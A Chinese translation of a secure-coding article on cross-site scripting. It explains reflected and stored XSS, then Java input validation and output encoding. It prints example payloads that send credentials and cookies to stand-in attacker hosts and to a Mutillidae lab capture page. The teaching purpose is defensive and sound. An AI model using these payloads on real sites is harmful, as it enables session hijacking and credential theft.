安全編碼實踐之二:跨站腳本攻擊防御


聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。

文章來源:https://medium.com/bugbountywriteup/how-to-write-secure-code-b2757b59cd4b

如何編寫安全代碼?保護自己免受跨站點腳本攻擊!

過去幾個月我一直致力於安全代碼實踐,我一直在努力與社區討論易於采用的方法。我們每天看到的不安全代碼的數量確實令人震驚,我們都同意“預防勝於治療”。

保持我們的代碼和應用程​​序安全的最佳方法是從一開始就正確編程。編寫安全代碼並不困難或復雜,只需要程序員知道在哪里包含安全檢查。這是幾行額外代碼的問題,但僅此一項就可以抵御針對您的應用程序的大量攻擊。

我們來挖掘吧!

因此,這篇特別的文章“如何編寫安全代碼?”專注於跨站點腳本問題。

只要應用程序獲取不受信任的數據並將其發送到Web瀏覽器而沒有正確的驗證和轉義,就會發生跨站點腳本漏洞。XSS允許攻擊者在受害者的瀏覽器中執行腳本,這些腳本可能會劫持用戶會話,破壞網站或將用戶重定向到惡意網站。

下面的代碼是發生XSS攻擊的示例之一,所采用的輸入未經過清理,並且直接傳遞給參數。

String firstNameParameter =(String)
request.getParameter(“firstName”);

用戶輸入的值立即存儲在局部變量fi​​rstNameParameter中,然后在HTTP響應中將值發送到瀏覽器,而不進行任何輸出編碼。

在本文中,我將介紹幾種不同類型的攻擊和方法,即您每天面臨的攻擊和方法以及可用於防止它們的方法: 

1.反射XSS

它一次針對一名受害者進行追蹤,當惡意負載傳遞給受害者並且他們最終點擊惡意URL並讓黑客訪問他們的cookie和其他數據時,可以看到它在行動中。

這里是有效載荷的示例,如果受害者執行該攻擊,則攻擊者可以訪問其詳細信息。

https://mybank.com/submitForm.do?customer= 
<script> 
function + stealCredentials()
 { 
location.href =“ www.evilhackersite.com?name = document.myform.username.value 
&password = document.myform.pword .value“ 
} 
</ script>
//整個腳本將作為url傳遞。
//它已被提出以增強可讀性。

另一個例子是我們訪問一個密碼生成器的網頁。乍一看,頁面看起來不容易受到任何攻擊,因為我們所要做的就是按“生成密碼”按鈕。

我們打開我們的burp-suite並在我們的代理選項卡中攔截請求。我們將其發送到轉發器選項卡以檢查請求查詢和相應的響應查詢。下面的圖像是我們傳遞的第一個請求,我們可以觀察到我們在請求查詢中傳遞的用戶名會反映在響應查詢中。

現在我們知道,用戶名反映給我們,我們可以使用我們的有效負載注入值字段。現在唯一需要的是我們如何設計有效負載,以便我們可以按預期執行命令。

“; catch(e){} alert('inject'); try(a =”//我們的有效載荷

 

 上圖顯示了請求和附加有效負載的響應查詢,似乎已經成功。我們對整個有效負載進行url編碼,然后通過代理選項卡再次發送,並檢查我們在瀏覽器中收到的結果。

在代理選項卡中傳遞有效內容

 

正如預期的那樣,我們會收到一個警告框,該框顯示在瀏覽器中,表明攻擊有效負載已經起作用。

2.存儲XSS

當代碼被注入正在托管的服務器端程序時,就會發生此攻擊。因此,每當用戶導航到特定網頁或鏈接時,他們就是存儲的XSS攻擊的受害者。

存儲的XSS攻擊可以按如下方式執行,如果頁面上的圖像以這樣的方式注入:每當頁面加載惡意腳本(如下所示)時加載而不是圖片,然后抓取用戶的cookie。

<script> newImage()。src =“ http://myevilhackersite.com/login.cgi?c= "+encodeURI(document.cookie ) ; </ script>
//我們的有效載荷

存儲的XSS的另一個例子如下: 

在我們旁邊的登錄頁面中,輸入test作為用戶名和密碼。我們所做的每件事都記錄在日志數據庫中。我們可以繼續檢查日志數據庫,在那里我們可以看到注冊了測試用戶名的失敗登錄嘗試。因此,如果用戶名沒有被清理並直接保存在日志中,那么我們可以利用它來發起存儲的XSS攻擊。

 

我們在用戶名字段中傳遞以下有效負載,以查看我們是否能夠執行XSS攻擊。

<script> document.location =“ http://192.168.56.103/mutillidae/index.php?page=capture-data.php&c=”+ document.cookie </ script>

只要我們在用戶名框中傳遞我們的有效負載並打開日志文件,我們就可以清楚地看到cookie存儲在那里,正如我們所希望的那樣。

因此,現在每當有人打開日志文件時,他們的cookie值將被發送到capture-data.php頁面,然后存儲數據。

保衛你的代碼!

我們已經詳細討論了如何利用我們的代碼在網站上執行惡意XSS攻擊。我們可以采取的步驟如下: -

輸入驗證

  • 驗證應僅在服務器端執行,絕不應在客戶端完成。
  • 我們可以允許用戶使用的白名單和黑名單。我們可以利用常規的正則表達式或基於框架的反XSS函數來增強安全性。
  • 代碼示例

而不是直接使用和接收參數“firstName”。

String firstNameParameter =(String)
request.getParameter(“firstName”);
  • 在分配給變量firstNameParameter之前,首先將其傳遞給正則表達式
private final String MY_DATAVALIDATION_WHITELIST =“[a-zA-Z] *”;
public boolean mustPassWhiteListCheck(String clientSideParameter)拋出
WhiteListFailureException
{ 
boolean checkValue = false;
checkValue = Pattern.matches(MY_DATAVALIDATION_WHITELIST,clientSideParameter);
if(checkValue == false)
{ 
   throw new WhiteListFailureException(“Possible Attack !!!”); 
} 
return checkValue; 
}

輸出編碼

  • 中和HTTP響應中包含的任何誤解釋的字符
  • 將字符轉換為數據而不是執行惡意腳本
  • URL編碼 - 用一個或多個字符三元組替換字符串中的字符
  • 三元組:%后跟兩個其他十六進制數字,例如:%2e這是“。”
  • 輸出編碼代碼示例

下面的代碼是沒有執行編碼的代碼。

System.out.println(“<HTML> <HEAD> <BODY> Hello +”+ 
request.getParameter(“firstName”)+“</ BODY> </ HTML>”);

現在我們將對上面的代碼進行小的修改,在輸入被我們的正則表達式殺菌劑消毒之后,我們將把值傳遞給print語句。

System.out.println(“<HTML> <HEAD> <BODY> Hello +”+ Encoder()。
encodeForHTML(sanitisedFirstNameVariable)+“</ BODY> </ HTML>”);
  • 輸出編碼網頁上下文

至少我們需要為這些值執行URL編碼: -

a)HTML正文

b)HTML屬性

c)URL

d)JavaScript

e)級聯樣式表

道德

XSS是一種危險的攻擊,可以自動搜索XSS。存儲和反射的XSS可能會對應用程序造成嚴重損害。防止這些攻擊的最基本方法之一是執行適當的輸入驗證和輸出編碼。正確實現這兩個功能可以幫助我們有效防御XSS攻擊。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM